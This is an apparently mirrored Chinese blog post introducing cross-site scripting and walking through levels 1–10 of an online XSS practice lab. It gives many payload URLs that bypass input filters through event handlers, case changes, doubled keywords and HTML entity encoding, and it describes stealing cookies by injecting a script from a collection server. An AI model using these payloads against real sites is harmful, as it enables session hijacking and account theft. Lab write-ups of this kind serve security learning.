5

XSS漏洞攻关(一)

 1 year ago
source link: http://qwzf.top/2019/04/28/XSS%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%85%B3(%E4%B8%80)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

XSS漏洞攻关(一)

发布时间 :2019-04-28 17:00
字数:3.3k 阅读 :34

在了解xss之前,可以先了解一下下面这些内容

1.AJAX实现异步更新、跨域

2.常用命令document.write();``alert("");``document.cookie;

3.payload—意思为有效载荷,概念验证,即是漏洞验证脚本;

Ajax跨域

1.允许单个域名访问

指定某域名跨域访问,只需在http://xx.com/xx.php文件头部添加如下代码:

header('Access-Control-Allow-Origin:http://xx.com');
php复制代码

2.允许所有域名访问

允许所有域名跨域访问,只需在http://xx.com/xx.php文件头部添加如下代码:

header('Access-Control-Allow-Origin:*');
php复制代码

3.允许多个域名访问

JS获取url

获取当前域名

方法一

var domain = document.domain;

方法二

var domain = window.location.host;

注意问题

由于获取到的当前域名不包括 http://,所以把获取到的域名赋给 a 标签的 href 时,别忘了加上 http://,否则单击链接时导航会出错。

其他想了解请看js获取当前域名、Url、相对路径和参数以及指定参数

Session & Cookie

  1. cookie 数 据 存 放 在 客 户 的 浏 览 器 上 , session 数 据 放 在 服 务 器 上 。
  2. cookie 不 是 很 安 全 , 别 人 可 以 分 析 存 放 在 本 地 的 COOKIE 并 进 行 COOKIE 欺 骗 。 考 虑 到 安 全 应 当 使 用 session 。
  3. session 会 在 一 定 时 间 内 保 存 在 服 务 器 上 。 当 访 问 增 多 , 会 比 较 占 用 你 服 务 器 的 性 能 考 虑 到 减 轻 服 务 器 性 能 方 面 , 应 当 使 用 COOKIE 。
  4. 单 个 cookie 保 存 的 数 据 不 能 超 过 4K , 很 多 浏 览 器 都 限 制 一 个 站 点 最 多 保 存 20 个 cookie 。

最大区别:一个存储在服务器端,一个存储在客户端

XSS介绍

XSS攻击全称跨站脚本攻击(Cross Site Scripting),XSS是一种在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其他用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。对于跨站脚本攻击,Hacker共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”

XSS攻击可能产生的危害

  1. 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  3. 盗窃企业重要的具有商业价值的资料
  4. 强制发送电子邮件
  5. 控制受害者机器向其它网站发起攻击

XSS漏洞的分类

1.DOM(本地利用)型:

不经过服务器,通过修改页面的DOM节点形成的XSS

这种漏洞存在于页面中客户端脚本自身

攻击过程:

​ H给U发送一个恶意构造了Web的URL,U点击并查看了这个URL。恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在U电脑上。具有漏洞的HTML页面包含了在U电脑本地域执行的JavaScript。H的恶意脚本可以在U的电脑上执行U所持有的权限下的命令。

2.存储型:

经过服务器,存进数据库

​ 该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。

攻击过程:

​ A拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。 H注意到A的站点具有存储式XXS漏洞, H发布一个热点信息,吸引其它用户纷纷阅读。 A或者是任何的其他人U浏览该信息,其会话cookies或者其它信息将被H盗走。

3.反射型:

只是简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要用户诱使用户点击一个恶意链接,才能攻击成功

又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。类似存储式漏洞,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能注入到动态页面中。

攻击过程:

​ U经常浏览某个网站A。U使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)在网站A中。 H发现A站点包含反射性的XSS漏洞,编写一利用漏洞的URL,并将其冒充为来自A的邮件给U。 U在登录到A的站点后,浏览H供的URL。嵌入到URL中的恶意脚本在U的浏览器中执行,然后在U完全不知情的情况下将这些信息发送到H的Web站点。

X-XSS-Protection
header("X-XSS-Protection:0");//告诉服务器禁用XSS保护
header("X-XSS-Protection:1");//告诉服务器开启XSS保护
php复制代码

实例应用:

  • 劫持访问

劫持访问就是在恶意脚本中插入诸如<script>window.location.href="http://www.baidu.com";</script>的代码,那么页面就会跳转到百度首页。劫持访问在持久型和非持久型XSS中都比较常被利用。持久型XSS中劫持访问的危害不用说大家都清楚,但有人会问非持久型XSS中劫持访问有什么作用呢?很简单,试想下像qq.com,baidu.com这样的域名下出现非持久型XSS,那么在发送钓鱼链接时就可以通过qq.com等域名进行跳转,一般人一看到qq.com之类的域名警惕性会下降,也就更容易上当了。

  • 盗用cookie实现无密码登录

由于盗取的cookie需要传回给攻击者,因此往往需要一个服务器来接收盗取的cookie,这也就是xss平台的作用了。网上的xss平台很多,但动手搭建一个也不难,建议有条件的自己搭建。

首先登录平台后台获取到js脚本地址为http://127.0.0.1/XSS/template/default.js,所以我们需要做的是把这段代码植入指定页面。

<script type="text/javascript" src="http://127.0.0.1/XSS/template/default.js"></script>
html xml复制代码

了解的差不多了,下面我开始去在线平台练习了。。。

XSS攻击常见利用方式

一般思路:普通注入–>普通闭合注入(带<input>标签)–>触发事件注入(特殊字符被过滤)–>双关键字、大小写和超链接注入(触发事件的关键字被过滤)–>HTML实体编码绕过–>HTTP头流量包注入

下面都是我在在线平台上的练习。做题之后发现查看源码大法真的好。。。。

1.普通的GET型XSS

Level1

页面没有输入点,所以直接构造payload就行啦

http://test.xss.tv/level1.php?name=<script>alert(1)</script>&submit=submit

该注入能产生说明程序员没有过滤或用引号包裹任何参数内容,也就是说后台代码直接解析执行参数值。这就造成在弱类型的语言中,原本是正常的字符串被当作代码执行,形成该XSS漏洞

2.带<input>标签的GET型XSS

Level2

在这里插入图片描述
在这里插入图片描述

查看源码,发现

在这里插入图片描述
在这里插入图片描述

所以直接用双引号闭合value,然后构造payload

http://test.xss.tv/level2.php?keyword="><script>alert(1)</script>&submit=submit

选择在URL处直接注入代码,带<input>标签的GET型XSS和普通的GET型XSS最大的区别就是普通的GET型XSS的参数可以直接被解析,而带<input>标签的GET型XSS还需要闭合原本的input窗口,然后才能注入ShellCode

3.过滤特殊字符的GET型XSS

Level3

原先给的url是

http://test.xss.tv/level3.php?writing=wait

而查看源码发现

在这里插入图片描述
在这里插入图片描述

value里并没有属性值,因为表单提交里并没有name为writing的,所以把writing改为keyword。闭合value进行普通注入

在这里插入图片描述
在这里插入图片描述

发现过滤了尖括号 ,所以带有尖括号的ShellCode不能用了。所以在此换思路采用触发事件属性:

http://test.xss.tv/level3.php?keyword='onclick='javascript:alert(1)'&submit=submit

注意:上面用的是onclick点击事件,所以还要点击一下输入框才会有弹窗

Level4

这道题和Level3的做法相同,查看源码发现,把单引号闭合value换成双引号闭合value就ok啦!

http://test.xss.tv/level3.php?keyword="onclick="javascript:alert(1)"&submit=submit

4.过滤关键字的GET型XSS

当特殊字符都被过滤了,再考虑触发事件,触发事件的关键字也被过滤了,就要找哪些还没有被过滤

Level5

先使用触发事件测试一下

http://test.xss.tv/level5.php?keyword="onclick="javascript:alert(1)"
php复制代码

然后查看源代码

<form action=level5.php method=GET>
<input name=keyword  value=""o_nclick="javascript:alert(1)"">
<input type=submit name=submit value=搜索 />
</form>
html xml复制代码

发现onclick关键字中间被加了下划线。然后我选择使用双关键字和大小写进行绕过,结果没有成功。显然,这种是用双关键字和大小写绕过不了的。然后,我考虑了一下超链接

http://test.xss.tv/level5.php?keyword="><a href="javascript:alert(1)">
php复制代码
http://test.xss.tv/level5.php?keyword="><a href="javascript:alert(/xss/)">点一下</a>//
php复制代码
在这里插入图片描述
在这里插入图片描述

然后点击下面的蓝字,就成功了。

Level6

我考虑了一下用超链接测试

http://test.xss.tv/level6.php?keyword="><a href="javascript:alert(1)">点一下</a>//
php复制代码

然后查看源代码

<form action=level6.php method=GET>
<input name=keyword  value=""><a hr_ef="javascript:alert(1)">点一下</a>//">
<input type=submit name=submit value=搜索 />
</form>
html xml复制代码

发现href关键字中间被加了下划线。然后我再使用大小写进行绕过。将e大写

http://test.xss.tv/level6.php?keyword="><a hrEf="javascript:alert(1)">点一下</a>//
php复制代码
在这里插入图片描述
在这里插入图片描述

然后点击蓝字就成功了。

Level7

将Level6的第二步大小写绕过,改为双写绕过就行了

http://test.xss.tv/level7.php?keyword="><a hrhrefef="javascrscriptipt:alert(1)">点一下</a>//
php复制代码
在这里插入图片描述
在这里插入图片描述

5.HTML实体编码的GET型XSS

HTML实体编码指的就是用unicode编码来代替关键字符或关键符号,&#;不能被过滤。

Level8

首先我尝试在输入框里输入

javascript:alert(1)
php复制代码

查看源代码

<form action=level8.php method=GET>
<input name=keyword  value="javascript:alert(1)">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="javascr_ipt:alert(1)">友情链接</a></center><center><img src=level8.jpg></center>
php复制代码

发现关键字javascript被加上了下划线

这里就可以选择用实体编码了,将javascripttscript进行实体编码javascript

javascript
html xml复制代码

然后构造payload

javascript:alert(1)
php复制代码

填入输入框,点击添加友情链接然后再点友情链接,就成功了。

HTML可以识别,执行文件的正则匹配不会成功,从而达到绕过。编码绕过的方式还有好多种,比如十六进制编码jsfuck编码url编码等。

Level9

Javascript会被替换为javasc_rpt,尝试用html实体编码绕过,将r编码为r用Level8的payload试了下,提示链接不合法,必须要有http://关键字

于是构造payload

javascript:%0dhttp://www.0aa.me%0dalert(1)
%0a  %0d都为url编码的换行符
    或
javascript:alert("http://")
php复制代码

6.转换参数的GET型XSS

Level10

keyword注入点,<、>都被过滤,几乎不能突破。查看源码发现有几个type=hidden的输入框

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>
html xml复制代码

keyword参数后面输入:

&t_link=” type=”text” 1&t_history=” type=”text” 2&t_sort =” type=”text” 3
php复制代码

查看注入点,发现t_sort字段可以注入(也可以一个一个的查找注入点) 。然后构造payload:

&t_sort=" type="text"onmouseover=alert`1` "
html xml复制代码

或onclick触发事件

https://test.xss.tv/level10.php?t_sort=4" onclick=alert(1) type="text"

下面的几关好像需要抓包工具进行抓包,我还不怎么会,就暂且先总结这么多吧!后续补上下面的内容。

未完待续。。。。。。。。。。。。。。。。。。。。。。。。。。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK